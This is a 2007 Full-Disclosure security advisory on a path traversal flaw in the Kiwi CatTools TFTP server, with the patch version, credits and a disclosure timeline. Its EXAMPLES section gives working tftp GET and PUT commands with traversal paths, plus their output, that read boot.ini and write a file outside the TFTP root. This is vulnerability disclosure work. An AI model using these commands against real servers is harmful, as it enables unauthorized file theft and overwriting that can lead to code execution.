[Full-disclosure] Kiwi CatTools TFTP server path traversal

Path traversal security vulnerability in Kiwi CatTools TFTP up to 3.2.8
server can lead to information disclosure and remote code execution

Risk: High

DISCUSSION

Kiwi CatTools TFTP server doesn't properly verify filename in PUT and GET
request which can be used to download/upload any file from/to server.
Default setting allows replacing of existing files. Such settings lead to
probability to replace an executable files and run code on attacker choice.

EXAMPLES

C:\>tftp -i 10.1.1.2 GET /x/…/…/…/…/…/boot.ini boot.txt

Transfer successful: 212 bytes in 1 second, 212 bytes/s

C:\>type boot.txt

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS

C:\>tftp -i 10.1.1.2 PUT boot.txt /x/…/…/…/…/…/pttest.txt

Transfer successful: 212 bytes in 1 second, 212 bytes/s

C:\>type pttest.txt

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS

C:\>

SOLUTION

Upgrade to CatTools 3.2.9 which is available for download at
<http://www.kiwisyslog.com/downloads.php&gt;
http://www.kiwisyslog.com/downloads.php

CREDITS

Sergey Gordeychik of Positive Technologies (www.ptsecurity.com)

DISCLOSURE TIMELINE

Vulnerability discovered: 11/20/2006

Initial vendor contact: 12/08/2006

Patch released: 02/13/2007

Public disclosure: 02/27/2007